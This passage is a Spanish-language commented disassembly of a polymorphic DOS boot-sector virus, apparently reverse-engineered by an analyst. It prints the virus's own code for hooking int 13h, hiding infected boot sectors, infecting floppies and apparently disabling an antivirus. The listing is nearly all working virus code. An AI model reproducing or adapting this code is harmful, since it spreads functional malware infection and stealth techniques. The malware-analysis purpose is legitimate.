salta sin Carry Ω; Flag ∩0DA6:1A8F 9D POPF Ω; Si no es mayor, vuelve a acti- ∩0DA6:1A90 F9 STC Ω; var el Carry Flag y salta ∩0DA6:1A91 9C PUSHF ∩0DA6:1A92 9D POPF Ω; Saca las banderas ∩0DA6:1A93 5B POP BX Ω; Saca BX y AX ∩0DA6:1A94 58 POP AX ∩0DA6:1A95 C3 RET Ω; Retorna ε;;;; Rutina para obtener en AH los tipos de unidad fija del ordenador (los ob- ε;;;; tiene directamente por los ports de la BIOS) ∩0DA6:1A96 53 PUSH BX Ω; Guarda BX ∩0DA6:1A97 8AD8 MOV BL,AL Ω; En BL pone AL ∩0DA6:1A99 0C80 OR AL,80 Ω; Activa el bit 7 en AL ∩0DA6:1A9B FA CLI Ω; Prohibe interrupciones ∩0DA6:1A9C E670 OUT 70,AL Ω; Desactiva las NMI (Non Mascara- Ω; ble Interruptions), que son las Ω; interrupciones de la 0 a la 7, Ω; que aunque se haga CLI se si- Ω; guen ejecutando. Pero ya no si Ω; se desactivan de esta manera ∩0DA6:1A9E EB00 JMP 1AA0 Ω; Salto de retardo ∩0DA6:1AA0 EB00 JMP 1AA2 Ω; " " " ∩0DA6:1AA2 E471 IN AL,71 Ω; Obtiene en AL el tipo de las Ω; unidades fijas (fixed drives) Ω; del sistema ∩0DA6:1AA4 8AE0 MOV AH,AL Ω; Pone en AH el valor obtenido ∩0DA6:1AA6 32C0 XOR AL,AL Ω; AL = 0 ∩0DA6:1AA8 EB00 JMP 1AAA Ω; Retardo ∩0DA6:1AAA EB00 JMP 1AAC Ω; Retardo ∩0DA6:1AAC E670 OUT 70,AL Ω; Activa de nuevo las NMI ∩0DA6:1AAE FB STI Ω; Activa TODAS las interrupciones ∩0DA6:1AAF 8AC3 MOV AL,BL Ω; Pone en AL el valor anterior ∩0DA6:1AB1 5B POP BX Ω; Saca BX ∩0DA6:1AB2 C3 RET Ω; Retorna ∩0DA6:1AB3 2E CS: Ω; Esto es la instrucción de inicio ∩0DA6:1AB4 803E0D00 CMP BYTE PTR [000D],XX Ω; que el virus copia aquí en Ω; su instalación por BOOT. Ω; Esta instrucción es, en- Ω; tonces, la de la int 13h Ω; del sistema donde "pillé" Ω; el virus ε;;;;;;; Rutina para copiar los 5 primeros bytes de la int 13h y ponerlos en ε;;;;;;; :1AB3 ∩0DA6:1AB8 0E PUSH CS Ω; ES = CS ∩0DA6:1AB9 07 POP ES ∩0DA6:1ABA BFB31A MOV DI,1AB3 Ω; En DI la dirección :1AB3 ∩0DA6:1ABD 26 ES: Ω; Carga en DS:SI la dirección ∩0DA6:1ABE C5364714 LDS SI,[1447] Ω; de inicio de la int 13h ∩0DA6:1AC2 FC CLD Ω; Hacia delante ∩0DA6:1AC3 A5 MOVSW Ω; Copia en :1AB3 los 5 primeros ∩0DA6:1AC4 A5 MOVSW Ω; bytes ∩0DA6:1AC5 A4 MOVSB ∩0DA6:1AC6 C3 RET Ω; Retorna ε;;;; Rutina para poner en el inicio de la int 13h una instrucción de salto a ε;;;; la rutina de int 13h que tiene preparada el virus para gestionar esta in- ε;;;; terrupción. ∩0DA6:1AC7 1E PUSH DS Ω; Guarda registros afectados ∩0DA6:1AC8 56 PUSH SI ∩0DA6:1AC9 50 PUSH AX ∩0DA6:1ACA 9C PUSHF Ω; Guarda banderas ∩0DA6:1ACB 2E CS: Ω; Mira si el bit 1 en [16CA] ∩0DA6:1ACC F606CA1602 TEST BYTE PTR [16CA],02 Ω; está a 1 ∩0DA6:1AD1 7510 JNZ 1AE3 Ω; Si está, salta y acaba ∩0DA6:1AD3 2E CS: Ω; Carga en DS:SI la dirección ∩0DA6:1AD4 C5364714 LDS SI,[1447] Ω; en :1447, que es el puntero Ω; a la int 13h original ∩0DA6:1AD8 C604EA MOV BYTE PTR [SI],EA Ω; Inserta en este punto el va- Ω; lor de opcode de JMP FAR ∩0DA6:1ADB C74401371B MOV WORD PTR [SI+01],1B37 Ω; Después forma una ins- ∩0DA6:1AE0 8C4C03 MOV [SI+03],CS Ω; trucción JMP FAR que salta a Ω; la rutina del virus que tiene Ω; para la int 13h ∩0DA6:1AE3 9D POPF Ω; Saca banderas ∩0DA6:1AE4 58 POP AX Ω; Saca registros (AX no lo ha ∩0DA6:1AE5 5E POP SI Ω; usado para nada) ∩0DA6:1AE6 1F POP DS ∩0DA6:1AE7 C3 RET Ω; Retorna ε;;;;;;; Rutina para sobreescribir el inicio de la int 13h con la instrucción ε;;;;;;; verdadera, que es copiada cuando se instala por medio del BOOT. ε;;;;;;; Esto lo hace para machacar la instrucción JMP FAR que ha puesto para ε;;;;;;; redireccionar la int 13h a su propio código. ∩0DA6:1AE8 9C PUSHF Ω; Guarda banderas, CX, DI, SI, DS ∩0DA6:1AE9 51 PUSH CX Ω; y ES ∩0DA6:1AEA 57 PUSH DI ∩0DA6:1AEB 56 PUSH SI ∩0DA6:1AEC 1E PUSH DS ∩0DA6:1AED 06 PUSH ES ∩0DA6:1AEE 0E PUSH CS Ω; DS = CS ∩0DA6:1AEF 1F POP DS ∩0DA6:1AF0 F606CA1602 TEST BYTE PTR [16CA],02 Ω; Mira si el bit 1 en [16CA] Ω; está a 1 ∩0DA6:1AF5 750E JNZ 1B05 Ω; Si lo está, acaba ∩0DA6:1AF7 FA CLI Ω; Prohíbe interrupciones ∩0DA6:1AF8 BEB31A MOV SI,1AB3 Ω; Pone en SI la dirección :1AB3 ∩0DA6:1AFB C43E4714 LES DI,[1447] Ω; Carga en ES:DI el puntero a la Ω; int 13h original ∩0DA6:1AFF FC CLD Ω; Hacia delante ∩0DA6:1B00 B90500 MOV CX,0005 Ω; Copia en la int 13h 5 bytes de Ω; la dirección en SI. Se trata de Ω; una instrucción con la que parece Ω; ser que empiezan todas las ints Ω; 13h en la mayoría de sistemas ∩0DA6:1B03 F3 REPZ Ω; Copia allí 5 bytes ∩0DA6:1B04 A4 MOVSB ∩0DA6:1B05 FB STI Ω; Permite interrupciones ∩0DA6:1B06 07 POP ES Ω; Saca los valores guardados en el ∩0DA6:1B07 1F POP DS Ω; stack ∩0DA6:1B08 5E POP SI ∩0DA6:1B09 5F POP DI ∩0DA6:1B0A 59 POP CX ∩0DA6:1B0B 9D POPF ∩0DA6:1B0C C3 RET Ω; Retorna ∩0DA6:1B0D 7407 DB 00,00 Ω; Lugar donde guarda la int 21h du- ∩0DA6:1B0F 7000 DB 00,00 Ω; rante la instalación mediante BOOT ∩0DA6:1B11 D1D0 RCL AX,1 ∩0DA6:1B13 8002 DB 80,02 Ω; Variable donde mete la cantidad Ω; de Kb de memoria base que tiene Ω; el sistema al arrancar (arrancan- Ω; do por BOOT) ∩0DA6:1B15 10 DB 10 Ω; En :1C27 mete el valor de AL, que Ω; indica la unidad de diskette ac- Ω; tual según la posición del bit a Ω; 1 en el nibble superior. Si el bit Ω; nº4, por ejemplo, está encendido, Ω; entonces indica la unidad 0. Si es Ω; el bit 5, entonces indica la uni- Ω; dad 1, y así sucesivamente. ∩0DA6:1B16 00 DB 00 Ω; Aquí mete el número de fun- Ω; ción actual desde :1B1A ∩0DA6:1B17 00 DB 00 Ω; Aquí guarda el número de uni- Ω; dad en algunas funciones de Ω; la int 13h, para no perderla, Ω; ya que en ese momento sería Ω; complicado meterla incluso en Ω; el stack. Ω; Desde :1D6A guarda aquí el Ω; error que le haya podido de- Ω; volver al escribir o leer. ∩0DA6:1B18 00 DB 00 ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;; N U E V A I N T E R R U P C I O N 1 3 h ;;;;;;;;;;;;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Su punto de inicio es en :1B37. Ω; Aquí desde :1B6A si la función de la Ω; int 13h es la 16h ∩0DA6:1B19 9D POPF Ω; Guarda banderas ∩0DA6:1B1A 2E CS: Ω; Mete el número de función en [1B16] ∩0DA6:1B1B 8826161B MOV [1B16],AH ∩0DA6:1B1F E883FD CALL 18A5 Ω; Efectúa la int 13h ∩0DA6:1B22 9C PUSHF Ω; Guarda las banderas ∩0DA6:1B23 0AE4 OR AH,AH Ω; ¿Es AH 0? ∩0DA6:1B25 7403 JZ 1B2A Ω; Si es, es el mismo disco y salta a Ω; :12BA ∩0DA6:1B27 E9D300 JMP 1BFD Ω; Salta a :1BFD ∩0DA6:1B2A 2E CS: Ω; Pone el número en [1B16] a 0 ∩0DA6:1B2B C606161B00 MOV BYTE PTR [1B16],00 ∩0DA6:1B30 9D POPF Ω; Saca las banderas ∩0DA6:1B31 E893FF CALL 1AC7 Ω; Pone la instrucción de JMP FAR al Ω; Entry-Point del la int 13h en el vi- Ω; rus ∩0DA6:1B34 CA0200 RETF 0002 Ω; Retorno de interrupción ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; INICIO DE LA INTERRUPCION 13h ;;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:1B37 9C PUSHF Ω; Guarda las banderas en el stack ∩0DA6:1B38 3D4554 CMP AX,5445 Ω; Mira si es un Install-Check del Ω; virus ∩0DA6:1B3B 7507 JNZ 1B44 Ω; Si no es, continúa en :1B44 ∩0DA6:1B3D B85445 MOV AX,4554 Ω; Pone el valor 4554h en AX ∩0DA6:1B40 9D POPF Ω; Saca las banderas ∩0DA6:1B41 CA0200 RETF 0002 Ω; Retorna Ω; Aquí desde :1B44 ∩0DA6:1B44 E8A1FF CALL 1AE8 Ω; Sobreescribe el inicio de la Ω; int 13h verdadera con la ins- Ω; trucción original, para sobrees- Ω; cribir el JMP FAR que el virus Ω; ha insertado allí saltando al Ω; inicio de esta rutina. ∩0DA6:1B47 81FA8000 CMP DX,0080 Ω; Comprueba si DX es 0080h, con Ω; lo que se estaría intentando Ω; acceder al disco duro y cabezal Ω; 0 de alguna parte del disco ∩0DA6:1B4B 7513 JNZ 1B60 Ω; Si no es, salta a :1B60 ∩0DA6:1B4D 83F901 CMP CX,+01 Ω; Comprueba si se intenta acceder Ω; al cilindro nº 0 sector nº 1 ∩0DA6:1B50 750E JNZ 1B60 Ω; Si no es, salta a :1B60 ∩0DA6:1B52 80FC03 CMP AH,03 Ω; Comprueba si es la función de Ω; escritura ∩0DA6:1B55 7709 JA 1B60 Ω; Si es la función 4 en adelante, Ω; salta a :1B60 ∩0DA6:1B57 80FC02 CMP AH,02 Ω; Comprueba si es la función de Ω; lectura ∩0DA6:1B5A 7204 JB 1B60 Ω; Si es menor, salta a :1B60 ∩0DA6:1B5C 9D POPF Ω; Saca las banderas del stack ∩0DA6:1B5D EB33 JMP 1B92 Ω; Salta a :1B92 ∩0DA6:1B5F 90 NOP Ω; NOP superfluo, resultado de com- Ω; pilar el programa con TASM (se- Ω; guramente) con la opción /m2 en Ω; vez de con /m3 Ω; Aquí si no coincide alguna com- Ω; probación anterior ∩0DA6:1B60 80FA80 CMP DL,80 Ω; Mira si se intenta realizar la Ω; acción con el disco duro ∩0DA6:1B63 7314 JNB 1B79 Ω; Si es mayor o igual, salta a Ω; :1B79 Ω; Hasta :1B79, todas las funciones Ω; se refieren a diskettes ∩0DA6:1B65 80FC16 CMP AH,16 Ω; Comprueba si es la función de Ω; detectar si se ha cambiado el Ω; disco ∩0DA6:1B68 7502 JNZ 1B6C Ω; Si no es, continúa en :1B6C ∩0DA6:1B6A EBAD JMP 1B19 Ω; Salta a :1B19 ∩0DA6:1B6C 80FC05 CMP AH,05 Ω; Comprueba si es la función de Ω; formateo ∩0DA6:1B6F 7308 JNB 1B79 Ω; Si es mayor o igual, salta a Ω; :1B79 ∩0DA6:1B71 80FC01 CMP AH,01 Ω; Comprueba si es la función de Ω; leer estado del disco duro ∩0DA6:1B74 7603 JBE 1B79 Ω; Si es menor o igual, salta Ω; Aquí llegará entonces si la fun- Ω; ción es la 02, que es la función Ω; del lectura ∩0DA6:1B76 E98400 JMP 1BFD Ω; Salta a :1BFD Ω; Aquí desde un montón de sitios Ω; de allá arriba ∩0DA6:1B79 80FA80 CMP DL,80 Ω; Comprueba si se intenta acceder Ω; al disco duro principal ∩0DA6:1B7C 750A JNZ 1B88 Ω; Si no, salta a :1B88 ∩0DA6:1B7E 2E CS: Ω; Comprueba si CX es el valor en ∩0DA6:1B7F 390E111B CMP [1B11],CX Ω; [1B11] ∩0DA6:1B83 7503 JNZ 1B88 Ω; Si no es, salta ∩0DA6:1B85 80E502 AND CH,02 Ω; Pone el número de cilindro a 0 Ω; o 2 ∩0DA6:1B88 9D POPF Ω; Saca las banderas del stack ∩0DA6:1B89 E819FD CALL 18A5 Ω; Efectúa la int 13h ∩0DA6:1B8C E838FF CALL 1AC7 Ω; Pone una instrucción JMP FAR Ω; al punto CS:1B37 en el inicio Ω; de la int 13h, para que si es Ω; llamada salte a esta misma ruti- Ω; na ∩0DA6:1B8F CA0200 RETF 0002 Ω; Retorno de interrupción Ω; Aquí llega si es la función 02h o Ω; 03h de la int 13h y se intenta Ω; leer el BOOT del disco duro ∩0DA6:1B92 53 PUSH BX Ω; Guarda registros ∩0DA6:1B93 51 PUSH CX ∩0DA6:1B94 52 PUSH DX ∩0DA6:1B95 06 PUSH ES ∩0DA6:1B96 80FC02 CMP AH,02 Ω; Comprueba si es la 02 ∩0DA6:1B99 7402 JZ 1B9D Ω; Si no es, y por tanto es la 03h, ∩0DA6:1B9B EB1E JMP 1BBB Ω; salta a :1BBB ∩0DA6:1B9D E805FD CALL 18A5 Ω; Efectúa la int 13h ∩0DA6:1BA0 9C PUSHF Ω; Guarda banderas, AX y BX ∩0DA6:1BA1 50 PUSH AX ∩0DA6:1BA2 53 PUSH BX ∩0DA6:1BA3 B408 MOV AH,08 Ω; AH = 8, que es la función de ob- Ω; tención de formato del disco que Ω; se le pasa en DL ∩0DA6:1BA5 B280 MOV DL,80 Ω; DL = 80h, que es el identifica- Ω; dor del disco duro ∩0DA6:1BA7 E8FBFC CALL 18A5 Ω; Int 13h ∩0DA6:1BAA FEC5 INC CH Ω; Incrementa CH ∩0DA6:1BAC FECE DEC DH Ω; Decrementa DH. Ahora ha conse- Ω; guido la dirección absoluta en Ω; el disco duro (en sectores y to- Ω; do eso) del sitio donde guardó Ω; el BOOT original ∩0DA6:1BAE B280 MOV DL,80 Ω; DL = 80h (disco duro) ∩0DA6:1BB0 B80102 MOV AX,0201 Ω; Función de lectura y se lee 1 Ω; sector ∩0DA6:1BB3 5B POP BX Ω; En BX el buffer de lectura ∩0DA6:1BB4 E8EEFC CALL 18A5 Ω; Int 13h. Ha sobreescrito lo leí- Ω; do en el BOOT (que era el BOOT Ω; del virus) con el BOOT original ∩0DA6:1BB7 58 POP AX Ω; Saca AX ∩0DA6:1BB8 9D POPF Ω; Saca las banderas ∩0DA6:1BB9 EB35 JMP 1BF0 Ω; Salta y acaba Ω; Aquí si es la función de escritu- Ω; ra ∩0DA6:1BBB 1E PUSH DS Ω; Guarda DS, DI, SI y AX en el ∩0DA6:1BBC 57 PUSH DI Ω; stack ∩0DA6:1BBD 56 PUSH SI ∩0DA6:1BBE 50 PUSH AX ∩0DA6:1BBF FEC8 DEC AL Ω; Decrementa AL para escribir un Ω; sector menos ∩0DA6:1BC1 06 PUSH ES Ω; Mete en el stack ES y BX ∩0DA6:1BC2 53 PUSH BX ∩0DA6:1BC3 740B JZ 1BD0 Ω; Si AL era 1, salta a :1BD0 y se Ω; salta lo siguiente ∩0DA6:1BC5 81C30002 ADD BX,0200 Ω; Suma a BX 512, para saltarse los Ω; primeros 512 bytes de lo que Ω; quería escribir ∩0DA6:1BC9 FEC1 INC CL Ω; Incrementa el número de sector Ω; a escribir, de manera que no Ω; sobreescribirá el BOOT, sino que Ω; será como si lo hubiera escrito Ω; todo y después se hubiera puesto Ω; el BOOT del virus que había ∩0DA6:1BCB E8D7FC CALL 18A5 Ω; Int 13h ∩0DA6:1BCE FEC9 DEC CL Ω; Decrementa de nuevo el número Ω; de sector a escribir, aunque Ω; después va a sobreescribirlo ∩0DA6:1BD0 B408 MOV AH,08 Ω; Obtiene el formato del disco du- ∩0DA6:1BD2 B280 MOV DL,80 Ω; ro ∩0DA6:1BD4 E8CEFC CALL 18A5 Ω; Int 13h ∩0DA6:1BD7 5B POP BX Ω; Saca BX y ES anterior ∩0DA6:1BD8 07 POP ES ∩0DA6:1BD9 FEC5 INC CH Ω; Incrementa CH y decrementa DH ∩0DA6:1BDB FECE DEC DH Ω; obtenidos, de manera que tiene Ω; la dirección donde guardó el Ω; BOOT original en el disco ∩0DA6:1BDD B280 MOV DL,80 Ω; DL = 80h (disco duro) ∩0DA6:1BDF B80103 MOV AX,0301 Ω; Función de escritura, y escri- Ω; birá un sector (512 bytes) ∩0DA6:1BE2 E857FA CALL 163C Ω; Mata un programa en el BOOT (si Ω; es este) que no he identifica- Ω; do. Debe ser un antivirus. ∩0DA6:1BE5 E8BDFC CALL 18A5 Ω; Int 13h ∩0DA6:1BE8 8BD8 MOV BX,AX Ω; BX = AX ∩0DA6:1BEA 58 POP AX Ω; Saca AX original ∩0DA6:1BEB 8AC3 MOV AL,BL Ω; Pone en AL algo que no he llega- Ω; do a comprender (no es el código Ω; de error) ∩0DA6:1BED 5E POP SI Ω; Saca registros del stack ∩0DA6:1BEE 5F POP DI ∩0DA6:1BEF 1F POP DS ∩0DA6:1BF0 07 POP ES Ω; Aquí desde :1BB9 cuando ha terminado ∩0DA6:1BF1 5A POP DX Ω; Saca registros del stack ∩0DA6:1BF2 59 POP CX ∩0DA6:1BF3 5B POP BX ∩0DA6:1BF4 E8D0FE CALL 1AC7 Ω; Pone en el inicio de la int 13h Ω; una instrucción JMP FAR al ini- Ω; cio de la rutina de la int 13h Ω; del virus ∩0DA6:1BF7 CA0200 RETF 0002 Ω; Retorno de interrupción ∩0DA6:1BFA E9A300 JMP 1CA0 Ω; Aquí llega por medio de otro sal- Ω; to condicional para que no tenga Ω; que escribir tanto esta misma Ω; instrucción Ω; Aquí si en el tratamiento de la Ω; función 16h de la int 13h se ha Ω; detectado que se ha cambiado de Ω; disco ∩0DA6:1BFD 50 PUSH AX Ω; Guarda todos los registros ∩0DA6:1BFE 53 PUSH BX ∩0DA6:1BFF 51 PUSH CX ∩0DA6:1C00 52 PUSH DX ∩0DA6:1C01 06 PUSH ES ∩0DA6:1C02 1E PUSH DS ∩0DA6:1C03 56 PUSH SI ∩0DA6:1C04 57 PUSH DI ∩0DA6:1C05 33C0 XOR AX,AX Ω; DS = 0 ∩0DA6:1C07 8ED8 MOV DS,AX ∩0DA6:1C09 32ED XOR CH,CH Ω; CH = 0 ∩0DA6:1C0B 8ACA MOV CL,DL Ω; CL = DL, o sea, en CX el número Ω; de unidad ∩0DA6:1C0D FEC0 INC AL Ω; Incrementa AL (AL = 1) ∩0DA6:1C0F D2E0 SHL AL,CL Ω; Multiplica AL por 2^(nº unidad). Ω; No será algo incongruente puesto Ω; que antes ha comprobado si DL Ω; era 80h o mayor, y como no era, Ω; DL ha de ser un número de unidad Ω; de diskette, o sea, 0, 1, o lo Ω; que sea. ∩0DA6:1C11 2E CS: Ω; Comprueba si el byte en [1B16] ∩0DA6:1C12 803E161B00 CMP BYTE PTR [1B16],00 Ω; es 0 ∩0DA6:1C17 7506 JNZ 1C1F Ω; Si no es, salta ∩0DA6:1C19 84063F04 TEST AL,[043F] Ω; Averigua si el motor del diskette Ω; n (el que haya sacado) está en Ω; marcha ∩0DA6:1C1D 75DB JNZ 1BFA Ω; Si el bit coincide, está en mar- Ω; cha, en cuyo caso salta Ω; Aquí llega entonces si el motor Ω; del diskette no está en marcha ∩0DA6:1C1F 0E PUSH CS Ω; DS = ES = CS ∩0DA6:1C20 1F POP DS ∩0DA6:1C21 1E PUSH DS ∩0DA6:1C22 07 POP ES ∩0DA6:1C23 B104 MOV CL,04 Ω; Pone el bit de AL en el nibble ∩0DA6:1C25 D2E0 SHL AL,CL Ω; superior, pero en la misma posi- Ω; ción que en el inferior ∩0DA6:1C27 A2151B MOV [1B15],AL Ω; Lo mete en [1B15] ∩0DA6:1C2A BE0300 MOV SI,0003 Ω; SI = 3 ∩0DA6:1C2D 33C0 XOR AX,AX Ω; AX = 0 ∩0DA6:1C2F E873FC CALL 18A5 Ω; Int 13h ∩0DA6:1C32 B80102 MOV AX,0201 Ω; Lee en :1E6A el BOOT de ese dis- ∩0DA6:1C35 B90100 MOV CX,0001 Ω; kette ∩0DA6:1C38 8AF5 MOV DH,CH ∩0DA6:1C3A BB6A1E MOV BX,1E6A ∩0DA6:1C3D E865FC CALL 18A5 Ω; Int 13h ∩0DA6:1C40 7305 JNB 1C47 Ω; Si no hay error, salta ∩0DA6:1C42 4E DEC SI Ω; Decrementa SI ∩0DA6:1C43 74B5 JZ 1BFA Ω; Si es 0, salta ∩0DA6:1C45 EBE6 JMP 1C2D Ω; Hace un LOOP utilizando SI como Ω; contador Ω; Aquí desde :1C40 si no hay error Ω; en la lectura del BOOT ∩0DA6:1C47 A16C1F MOV AX,[1F6C] Ω; Coge en AX el valor en el byte Ω; +102h del BOOT ∩0DA6:1C4A 2B066A1F SUB AX,[1F6A] Ω; Le resta el valor en +100h ∩0DA6:1C4E 3DFFCC CMP AX,CCFF Ω; Mira si el resultado es CCFFh ∩0DA6:1C51 74A7 JZ 1BFA Ω; Si es, salta ∩0DA6:1C53 E82A01 CALL 1D80 Ω; Pone en CH un valor según un byte Ω; leído en el BOOT. Si el byte +15h Ω; es FD, pone el valor 29h en CH. Ω; En otro caso, pone 51h. ∩0DA6:1C56 E83501 CALL 1D8E Ω; Formatea 15 nuevas pistas donde Ω; meterá el virus en el diskette ∩0DA6:1C59 730D JNB 1C68 Ω; Si no hay error, salta ∩0DA6:1C5B B80104 MOV AX,0401 Ω; Función de verificar sectores. ∩0DA6:1C5E 33C9 XOR CX,CX Ω; Verifica los sectores que han da- ∩0DA6:1C60 41 INC CX Ω; do error al formatear ∩0DA6:1C61 8AF5 MOV DH,CH Ω; ∩0DA6:1C63 E83FFC CALL 18A5 Ω; Int 13h ∩0DA6:1C66 EB38 JMP 1CA0 Ω; Salta Ω; Aquí desde :1C59 si no ha habido Ω; error ∩0DA6:1C68 33DB XOR BX,BX Ω; BX = 0, dirección de inicio del Ω; virus en memoria ∩0DA6:1C6A B101 MOV CL,01 Ω; CL = 1 (primer sector) ∩0DA6:1C6C B81003 MOV AX,0310 Ω; Escribe 16 sectores a esa zona ∩0DA6:1C6F E833FC CALL 18A5 Ω; del disco (el virus mismo) ∩0DA6:1C72 722C JB 1CA0 Ω; Si hay error, salta ∩0DA6:1C74 BB6A1E MOV BX,1E6A Ω; Copia el BOOT del diskette a con- ∩0DA6:1C77 B111 MOV CL,11 Ω; tinuación del virus ∩0DA6:1C79 B80103 MOV AX,0301 ∩0DA6:1C7C E826FC CALL 18A5 ∩0DA6:1C7F 721F JB 1CA0 Ω; Si hay error, salta ∩0DA6:1C81 B302 MOV BL,02 Ω; BL = 02, que le indica a la si- Ω; guiente función que se va a in- Ω; fectar el BOOT de un diskette ∩0DA6:1C83 52 PUSH DX Ω; Guarda DX ∩0DA6:1C84 E8DBF7 CALL 1462 Ω; Llama a una rutina para polimor- Ω; fear una rutina de BOOT que tie- Ω; ne preparada y lista para escri- Ω; bir ∩0DA6:1C87 5A POP DX Ω; Saca DX ∩0DA6:1C88 B90100 MOV CX,0001 Ω; Escribe en el BOOT de la unidad ∩0DA6:1C8B 32F6 XOR DH,DH Ω; de diskette que se trate el nuevo ∩0DA6:1C8D BB6A1E MOV BX,1E6A Ω; BOOT hecho en :1E6A, pero antes ∩0DA6:1C90 C6066A1EEB MOV BYTE PTR [1E6A],EB Ω; inserta en su inicio una ∩0DA6:1C95 C6066B1E3C MOV BYTE PTR [1E6B],3C Ω; instrucción JMP NEAR :003C ∩0DA6:1C9A B80103 MOV AX,0301 Ω; La escribe al BOOT del diskette ∩0DA6:1C9D E805FC CALL 18A5 Ω; Aquí llega cuando han habido erro- Ω; res ∩0DA6:1CA0 5F POP DI Ω; Saca todos los registros del ∩0DA6:1CA1 5E POP SI Ω; stack ∩0DA6:1CA2 1F POP DS ∩0DA6:1CA3 07 POP ES ∩0DA6:1CA4 5A POP DX ∩0DA6:1CA5 59 POP CX ∩0DA6:1CA6 5B POP BX ∩0DA6:1CA7 58 POP AX ∩0DA6:1CA8 2E CS: Ω; Comprueba si el byte en [1B16] ∩0DA6:1CA9 803E161B00 CMP BYTE PTR [1B16],00 Ω; es 0 ∩0DA6:1CAE 7403 JZ 1CB3 Ω; Si es, salta y continúa ∩0DA6:1CB0 E977FE JMP 1B2A Ω; Salta y acaba ∩0DA6:1CB3 80FE00 CMP DH,00 Ω; Comprueba si DH es 0 ∩0DA6:1CB6 7517 JNZ 1CCF Ω; Si no es, salta a :1CCF ∩0DA6:1CB8 83F901 CMP CX,+01 Ω; Comprueba si CX = 0001 ∩0DA6:1CBB 7512 JNZ 1CCF Ω; Si no es, salta a :1CCF Ω; Aquí se llega si se intenta acce- Ω; der de alguna manera al BOOT del Ω; diskette ∩0DA6:1CBD 2E CS: Ω; Comprueba si WINDOWS 95 está ac- ∩0DA6:1CBE F6068C0104 TEST BYTE PTR [018C],04 Ω; tivo ∩0DA6:1CC3 750A JNZ 1CCF Ω; Si no está, salta a :1CCF ∩0DA6:1CC5 80FC02 CMP AH,02 Ω; Comprueba si es la función de la Ω; int 13h de lectura ∩0DA6:1CC8 7408 JZ 1CD2 Ω; Si es, salta a :1CD2 ∩0DA6:1CCA 80FC03 CMP AH,03 Ω; Comprueba si es la función de es- Ω; critura ∩0DA6:1CCD 7436 JZ 1D05 Ω; Si es, salta a :1D05 ∩0DA6:1CCF E9B6FE JMP 1B88 Ω; Salta y acaba Ω; Aquí desde :1CC8 si AH = 02 (fun- Ω; ción de lectura de la int 13h) ∩0DA6:1CD2 9D POPF Ω; Saca las banderas del stack ∩0DA6:1CD3 E8CFFB CALL 18A5 Ω; Efectúa la int 13h ∩0DA6:1CD6 9C PUSHF Ω; Guarda banderas y registros ∩0DA6:1CD7 50 PUSH AX ∩0DA6:1CD8 53 PUSH BX ∩0DA6:1CD9 51 PUSH CX ∩0DA6:1CDA 52 PUSH DX ∩0DA6:1CDB 06 PUSH ES ∩0DA6:1CDC 721B JB 1CF9 Ω; Si hay error, salta (¿Y esto no Ω; lo podría haber puesto antes de Ω; guardar cosas en el stack?) ∩0DA6:1CDE 26 ES: Ω; Coge en AX el valor en el BOOT ∩0DA6:1CDF 8B870201 MOV AX,[BX+0102] Ω; leído de la posición +102h ∩0DA6:1CE3 26 ES: Ω; Le resta el valor en +100h ∩0DA6:1CE4 2B870001 SUB AX,[BX+0100] ∩0DA6:1CE8 3DFFCC CMP AX,CCFF Ω; Mira si el resultado es CCFFh ∩0DA6:1CEB 750C JNZ 1CF9 Ω; Si no es, el BOOT no está infec- Ω; tado, y por tanto acaba ∩0DA6:1CED B551 MOV CH,51 Ω; Lee donde tiene guardado el BOOT ∩0DA6:1CEF B111 MOV CL,11 Ω; original del disco y lo mete en ∩0DA6:1CF1 B601 MOV DH,01 Ω; el buffer de lectura del programa ∩0DA6:1CF3 B80102 MOV AX,0201 Ω; el BOOT original, de manera de ∩0DA6:1CF6 E8ACFB CALL 18A5 Ω; que para el programa será como Ω; si el BOOT no estuviera cambiado. ∩0DA6:1CF9 07 POP ES Ω; Saca los registros del stack ∩0DA6:1CFA 5A POP DX ∩0DA6:1CFB 59 POP CX ∩0DA6:1CFC 5B POP BX ∩0DA6:1CFD 58 POP AX ∩0DA6:1CFE E8C6FD CALL 1AC7 Ω; Pone en el inicio de la int 13h Ω; una instrucción JMP FAR a la di- Ω; rección de entrada de la int en Ω; el virus ∩0DA6:1D01 9D POPF Ω; Saca las banderas ∩0DA6:1D02 CA0200 RETF 0002 Ω; Retorno de interrupción Ω; Aquí desde :1CCD si AH = 03 (fun- Ω; ción de escritura de la int 13h) ∩0DA6:1D05 50 PUSH AX Ω; Guarda registros ∩0DA6:1D06 53 PUSH BX ∩0DA6:1D07 06 PUSH ES ∩0DA6:1D08 0E PUSH CS Ω; ES = CS ∩0DA6:1D09 07 POP ES ∩0DA6:1D0A B80102 MOV AX,0201 Ω; Lee un sector de los que se quie- ∩0DA6:1D0D BB6A1E MOV BX,1E6A Ω; re leer en :1E6A ∩0DA6:1D10 E892FB CALL 18A5 Ω; Int 13h ∩0DA6:1D13 07 POP ES Ω; Saca los registros del stack ∩0DA6:1D14 5B POP BX ∩0DA6:1D15 58 POP AX ∩0DA6:1D16 50 PUSH AX Ω; Vuelve a guardar AX ∩0DA6:1D17 FEC8 DEC AL Ω; Decrementa AL ∩0DA6:1D19 740F JZ 1D2A Ω; Si AL era 1, salta a :12DA ∩0DA6:1D1B 81C30002 ADD BX,0200 Ω; Suma 512 a BX ∩0DA6:1D1F FEC1 INC CL Ω; Lee el siguiente sector al BOOT ∩0DA6:1D21 E881FB CALL 18A5 Ω; y deja un hueco donde, en vez de Ω; leer el BOOT infectado, pondrá Ω; el BOOT original, de manera que Ω; al leer será como si estuviera Ω; como siempre ∩0DA6:1D24 81EB0002 SUB BX,0200 Ω; Resta 200h a BX ∩0DA6:1D28 FEC9 DEC CL Ω; Decrementa CL ∩0DA6:1D2A 57 PUSH DI Ω; Guarda registros ∩0DA6:1D2B 56 PUSH SI ∩0DA6:1D2C 1E PUSH DS ∩0DA6:1D2D 06 PUSH ES ∩0DA6:1D2E 53 PUSH BX ∩0DA6:1D2F 26 ES: Ω; Mira si el BOOT está infectado ∩0DA6:1D30 8B850201 MOV 